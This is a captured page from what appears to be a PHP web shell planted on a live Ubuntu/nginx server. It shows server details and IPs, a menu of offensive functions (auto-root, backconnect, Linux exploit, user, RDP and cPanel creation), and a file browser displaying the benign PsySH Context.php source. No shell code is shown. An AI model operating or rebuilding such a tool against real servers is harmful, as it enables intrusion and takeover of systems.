Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdgamatya /
vendor /
psy /
psysh /
src /
Psy /
[ HOME SHELL ]
Name
Size
Permission
Action
CodeCleaner
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
ExecutionLoop
[ DIR ]
drwxr-xr-x
Formatter
[ DIR ]
drwxr-xr-x
Input
[ DIR ]
drwxr-xr-x
Output
[ DIR ]
drwxr-xr-x
Readline
[ DIR ]
drwxr-xr-x
Reflection
[ DIR ]
drwxr-xr-x
Sudo
[ DIR ]
drwxr-xr-x
TabCompletion
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
VarDumper
[ DIR ]
drwxr-xr-x
VersionUpdater
[ DIR ]
drwxr-xr-x
Autoloader.php
894
B
-rw-r--r--
CodeCleaner.php
7.95
KB
-rw-r--r--
Compiler.php
4.65
KB
-rw-r--r--
ConfigPaths.php
5.92
KB
-rw-r--r--
Configuration.php
34.14
KB
-rw-r--r--
ConsoleColorFactory.php
2.39
KB
-rw-r--r--
Context.php
7.37
KB
-rw-r--r--
ContextAware.php
595
B
-rw-r--r--
ParserFactory.php
2.37
KB
-rw-r--r--
Shell.php
29.33
KB
-rw-r--r--
Sudo.php
4.18
KB
-rw-r--r--
functions.php
11.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Context.php
<?php /* * This file is part of Psy Shell. * * (c) 2012-2017 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy; /** * The Shell execution context. * * This class encapsulates the current variables, most recent return value and * exception, and the current namespace. */ class Context { private static $specialNames = array('_', '_e', '__out', '__psysh__', 'this'); // Whitelist a very limited number of command-scope magic variable names. // This might be a bad idea, but future me can sort it out. private static $commandScopeNames = array( '__function', '__method', '__class', '__namespace', '__file', '__line', '__dir', ); private $scopeVariables = array(); private $commandScopeVariables = array(); private $returnValue; private $lastException; private $lastStdout; private $boundObject; /** * Get a context variable. * * @throws InvalidArgumentException If the variable is not found in the current context * * @param string $name * * @return mixed */ public function get($name) { switch ($name) { case '_': return $this->returnValue; case '_e': if (isset($this->lastException)) { return $this->lastException; } break; case '__out': if (isset($this->lastStdout)) { return $this->lastStdout; } break; case 'this': if (isset($this->boundObject)) { return $this->boundObject; } break; case '__function': case '__method': case '__class': case '__namespace': case '__file': case '__line': case '__dir': if (array_key_exists($name, $this->commandScopeVariables)) { return $this->commandScopeVariables[$name]; } break; default: if (array_key_exists($name, $this->scopeVariables)) { return $this->scopeVariables[$name]; } break; } throw new \InvalidArgumentException('Unknown variable: $' . $name); } /** * Get all defined variables. * * @return array */ public function getAll() { return array_merge($this->scopeVariables, $this->getSpecialVariables()); } /** * Get all defined magic variables: $_, $_e, $__out, $__class, $__file, etc. * * @return array */ public function getSpecialVariables() { $vars = array( '_' => $this->returnValue, ); if (isset($this->lastException)) { $vars['_e'] = $this->lastException; } if (isset($this->lastStdout)) { $vars['__out'] = $this->lastStdout; } if (isset($this->boundObject)) { $vars['this'] = $this->boundObject; } return array_merge($vars, $this->commandScopeVariables); } /** * Set all scope variables. * * This method does *not* set any of the magic variables: $_, $_e, $__out, * $__class, $__file, etc. * * @param array $vars */ public function setAll(array $vars) { foreach (self::$specialNames as $key) { unset($vars[$key]); } foreach (self::$commandScopeNames as $key) { unset($vars[$key]); } $this->scopeVariables = $vars; } /** * Set the most recent return value. * * @param mixed $value */ public function setReturnValue($value) { $this->returnValue = $value; } /** * Get the most recent return value. * * @return mixed */ public function getReturnValue() { return $this->returnValue; } /** * Set the most recent Exception. * * @param \Exception $e */ public function setLastException(\Exception $e) { $this->lastException = $e; } /** * Get the most recent Exception. * * @throws InvalidArgumentException If no Exception has been caught * * @return null|Exception */ public function getLastException() { if (!isset($this->lastException)) { throw new \InvalidArgumentException('No most-recent exception'); } return $this->lastException; } /** * Set the most recent output from evaluated code. * * @param string $lastStdout */ public function setLastStdout($lastStdout) { $this->lastStdout = $lastStdout; } /** * Get the most recent output from evaluated code. * * @throws InvalidArgumentException If no output has happened yet * * @return null|string */ public function getLastStdout() { if (!isset($this->lastStdout)) { throw new \InvalidArgumentException('No most-recent output'); } return $this->lastStdout; } /** * Set the bound object ($this variable) for the interactive shell. * * @param object|null $boundObject */ public function setBoundObject($boundObject) { $this->boundObject = is_object($boundObject) ? $boundObject : null; } /** * Get the bound object ($this variable) for the interactive shell. * * @return object|null */ public function getBoundObject() { return $this->boundObject; } /** * Set command-scope magic variables: $__class, $__file, etc. * * @param array $commandScopeVariables */ public function setCommandScopeVariables(array $commandScopeVariables) { $vars = array(); foreach ($commandScopeVariables as $key => $value) { // kind of type check if (is_scalar($value) && in_array($key, self::$commandScopeNames)) { $vars[$key] = $value; } } $this->commandScopeVariables = $vars; } /** * Get command-scope magic variables: $__class, $__file, etc. * * @return array */ public function getCommandScopeVariables() { return $this->commandScopeVariables; } /** * Get unused command-scope magic variables names: __class, __file, etc. * * This is used by the shell to unset old command-scope variables after a * new batch is set. * * @return array Array of unused variable names */ public function getUnusedCommandScopeVariableNames() { return array_diff(self::$commandScopeNames, array_keys($this->commandScopeVariables)); } /** * Check whether a variable name is a magic variable. * * @param string $name * * @return bool */ public static function isSpecialVariableName($name) { return in_array($name, self::$specialNames) || in_array($name, self::$commandScopeNames); } }
Close